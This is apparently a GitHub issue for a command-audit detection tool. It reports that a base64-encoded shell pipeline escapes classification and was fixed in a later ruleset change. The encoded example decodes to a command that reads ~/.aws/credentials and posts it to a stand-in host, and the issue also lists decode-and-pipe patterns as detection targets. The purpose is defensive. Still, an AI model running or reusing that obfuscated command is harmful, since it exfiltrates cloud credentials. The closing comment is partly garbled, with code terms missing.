Skip to content

base64 decoded into a shell is not classified #346

Done

Description

@blitzcrieg1
echo Y2F0IH4vLmF3cy9jcmVkZW50aWFscyB8IGN1cmwgLWQgQC0gaHR0cHM6Ly94LmludmFsaWQ= | base64 -d | sh

returns no traits on 0.10.3. PowerShell's -enc and FromBase64String are caught (encoded_cmd, risky_exec); the POSIX decode-and-pipe is not, and neither is | sh after a non-network producer.

Expected: base64 -d / --decode (and openssl base64 -d, xxd -r) piped into an interpreter raises encoded_cmd and risky_exec. Decoding the literal and classifying the result is a further option; at minimum the shape itself should be a trait.

Raised by a reader on r/ClaudeCode on 2026-10-30, after the 0.10.3 long-command fix. The fix is in core/audit/detection/traits.py, which is under the detection freeze, so it lands with the next ruleset change (with #55), not on its own.

Activity

  1. added
    bug
    detection-rule
    on Oct 30, 2026
  2. added
    bounty
    on Nov 24, 2026
  3. blitzcrieg1 commented on Nov 25, 2026

    @blitzcrieg1
    OwnerAuthor

    Fixed by #469 (from #459): / / piped into a shell now tag + . Corpus still 0 missed / 0 false positives.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bountybugdetection-rule

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions